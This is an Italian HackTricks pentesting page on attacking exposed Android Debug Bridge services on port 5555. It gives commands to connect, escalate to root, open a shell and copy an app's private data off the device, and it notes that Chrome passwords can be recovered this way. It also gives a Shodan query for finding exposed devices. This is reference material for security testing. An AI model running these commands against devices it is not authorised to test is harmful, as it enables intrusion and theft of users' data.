5555 - Android Debug Bridge
Reading time: 2 minutes
tip
Impara e pratica l'Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica l'Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos di github.
Informazioni di base
Android Debug Bridge (adb) è uno strumento versatile da riga di comando che consente di comunicare con un dispositivo. Il comando adb facilita una varietà di azioni sul dispositivo, come l'installazione e il debug delle app, e fornisce accesso a una shell Unix che puoi utilizzare per eseguire una varietà di comandi su un dispositivo.
Porta predefinita: 5555.
PORT STATE SERVICE VERSION
5555/tcp open adb Android Debug Bridge device (name: msm8909; model: N3; device: msm8909)
Connetti
Se trovi il servizio ADB in esecuzione su una porta di un dispositivo e puoi connetterti ad esso, puoi ottenere una shell all'interno del sistema:
adb connect 10.10.10.10
adb root # Try to escalate to root
adb shell
Per ulteriori comandi ADB controlla la seguente pagina:
Dump App data
Per scaricare completamente i dati di un'applicazione puoi:
# From a root console
chmod 777 /data/data/com.package
cp -r /data/data/com.package /sdcard Note: Using ADB attacker cannot obtain data directly by using command " adb pull /data/data/com.package". He is compulsorily required to move data to Internal storage and then he can pull that data.
adb pull "/sdcard/com.package"
Puoi usare questo trucco per recuperare informazioni sensibili come le password di chrome. Per ulteriori informazioni su questo, controlla le informazioni e i riferimenti forniti qui.
Shodan
android debug bridge
tip
Impara e pratica l'Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica l'Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos di github.